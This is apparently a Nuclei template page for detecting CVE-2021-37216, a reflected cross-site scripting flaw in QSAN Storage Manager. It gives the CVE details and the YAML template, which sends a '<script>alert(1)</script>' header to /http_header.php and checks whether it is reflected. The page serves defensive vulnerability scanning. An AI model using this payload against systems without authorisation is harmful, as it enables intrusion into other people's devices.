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QSAN Storage Manager <3.3.3 - Cross-Site Scripting

ID: CVE-2021-37216

Severity: medium

Author: dwisiswant0

Tags: cve,cve2021,xss,qsan,storage

Description

Section titled “Description”

QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability. Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.

YAML Source

Section titled “YAML Source”
id: CVE-2021-37216


info:
  name: QSAN Storage Manager <3.3.3 - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability.  Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.
  reference:
    - https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37216
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37216
    cwe-id: CWE-79
    epss-score: 0.00108
    epss-percentile: 0.42604
    cpe: cpe:2.3:o:qsan:xn8024r_firmware:3.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: qsan
    product: xn8024r_firmware
  tags: cve,cve2021,xss,qsan,storage


http:
  - method: GET
    path:
      - "{{BaseURL}}/http_header.php"


    headers:
      X-Trigger-XSS: "<script>alert(1)</script>"


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(header), 'x-xss-protection')"


      - type: word
        part: body
        words:
          - '"HTTP_X_TRIGGER_XSS":"<script>alert(1)</script>"'


      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a0047304502201225dcb148cb44024f4242f7fda2d20258d6eb6d0a77c6271bb3a817bc04dddb022100e2c292584e016af74907268ecec39cc89595afcd9154fe55d0d0ef73906a9092:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-37216.yaml"

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